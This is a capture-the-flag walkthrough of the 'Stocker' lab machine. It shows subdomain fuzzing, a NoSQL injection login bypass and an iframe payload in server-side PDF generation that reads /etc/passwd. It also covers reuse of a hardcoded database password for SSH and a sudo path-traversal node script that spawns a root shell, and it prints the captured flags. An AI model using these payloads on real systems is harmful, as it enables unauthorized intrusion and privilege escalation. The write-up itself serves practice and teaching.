Stocker
Recon
HTTP (80)
Looks like we have a placeholder SPA, no additional pages are found from links.
Perform subdomain enumration
└─$ domain='stocker.htb'; ffuf -u "http://$domain/" -H "Host: FUZZ.$domain" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc all -fl 8
v2.1.0-dev
________________________________________________
dev [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 80ms]
The login page is vulnerable to NoSQLi injection
From Burp request in browser and get redirected with right cookie to bypass authentication.
After "purchasing" the Cup we get order ID and order receipt.
The username which we logged in as is Angoose, which is JS NoSQL library, so most probably there's another injection somewhere.
└─$ curl -LOs http://dev.stocker.htb/api/po/6744b18325a793e77791129f
└─$ file 6744b18325a793e77791129f
6744b18325a793e77791129f: PDF document, version 1.4, 1 page(s)
└─$ exiftool 6744b18325a793e77791129f
ExifTool Version Number : 12.76
File Name : 6744b18325a793e77791129f
Directory : .
File Size : 38 kB
File Modification Date/Time : 2024:11:25 12:26:36-05:00
File Access Date/Time : 2024:11:25 12:26:40-05:00
File Inode Change Date/Time : 2024:11:25 12:26:36-05:00
File Permissions : -rw-rw-r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Tagged PDF : Yes
Creator : Chromium
Producer : Skia/PDF m108
Create Date : 2024:11:25 17:26:34+00:00
Modify Date : 2024:11:25 17:26:34+00:00Chromium is the creator, so we could try dynamic PDF generation XSS attack, using iframe we can read the /etc/passwd file.
<iframe src=/etc/passwd width=1000 height=1000></iframe>root:x:0:0:root:/root:/bin/bash
...
mongodb:x:113:65534::/home/mongodb:/usr/sbin/nologin
angoose:x:1001:1001:,,,:/home/angoose:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/falseI was trying to get location of applications via nginx configuration, but was unlucky. Plus files were too big for PDF.
If we send bad json to /api/order we can leak information about application.
SyntaxError: Unexpected string in JSON at position 188<br>
at JSON.parse (<anonymous>)<br>
at parse (/var/www/dev/node_modules/body-parser/lib/types/json.js:89:19)<br>
at /var/www/dev/node_modules/body-parser/lib/read.js:128:18<br>
at AsyncResource.runInAsyncScope (node:async_hooks:203:9)<br>
at invokeCallback (/var/www/dev/node_modules/raw-body/index.js:231:16)<br>
at done (/var/www/dev/node_modules/raw-body/index.js:220:7)<br>
at IncomingMessage.onEnd (/var/www/dev/node_modules/raw-body/index.js:280:7)<br>
at IncomingMessage.emit (node:events:513:28)<br>
at endReadableNT (node:internal/streams/readable:1359:12)<br>
at process.processTicksAndRejections (node:internal/process/task_queues:82:21).env file doesn't exist, but /var/www/dev/index.js contains connection string for mongodb.
// TODO: Configure loading from dotenv for production
const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1";SSH (22)
Creds:
angoose:IHeardPassphrasesArePrettySecure
└─$ ssh angoose@stocker.htb
angoose@stocker:~$ id
uid=1001(angoose) gid=1001(angoose) groups=1001(angoose)User.txt
angoose@stocker:~$ cat user.txt
6133fb72c0c9ecb9c7d8d4e4301e2c70Privilege Escalation
angoose@stocker:~$ sudo -l
Matching Defaults entries for angoose on stocker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.jshttps://gtfobins.github.io/gtfobins/node/
angoose@stocker:~$ echo 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})' > t.js
angoose@stocker:~$ sudo /usr/bin/node /usr/local/scripts/../../../home/angoose/t.js
# id
uid=0(root) gid=0(root) groups=0(root)Root.txt
# cd /root
# cat root.txt
529752b61de9796389ee08a0f61b7412Last updated